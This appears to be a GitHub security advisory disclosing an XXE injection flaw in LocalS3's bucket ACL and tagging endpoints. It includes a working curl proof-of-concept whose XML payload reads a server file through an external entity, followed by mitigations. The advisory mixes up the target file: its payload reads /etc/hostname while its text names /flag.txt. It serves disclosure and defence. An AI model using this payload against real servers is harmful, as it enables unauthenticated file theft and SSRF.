GHSA-2466-4485-4pxj: LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server’s filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

1. Create a test bucket using PUT request to http://[server]/[bucket-name]

   curl -X PUT "http://app/xxe-test-bucket2"```
   

2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

   curl -X PUT "http://app/xxe-test-bucket2?acl" \
   -H "Content-Type: application/xml" \
   -d '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE AccessControlPolicy [
       <!ENTITY xxe SYSTEM "file:///etc/hostname" >
   ]>
   <AccessControlPolicy>
       <Owner>
           <ID>&xxe;</ID>
           <DisplayName>test</DisplayName>
       </Owner>
       <AccessControlList>
           <Grant>
               <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
                   <ID>test</ID>
                   <DisplayName>test</DisplayName>
               </Grantee>
               <Permission>FULL_CONTROL</Permission>
           </Grant>
       </AccessControlList>
   </AccessControlPolicy>'
   

3. Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL

   curl "http://app/xxe-test-bucket2?acl"
   

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

• Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
• Disable DOCTYPE declarations in the XML parser configuration
• Implement XML input validation and sanitization before processing
• Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server’s filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

References

• GHSA-2466-4485-4pxj
• Robothy/local-s3@d6ed756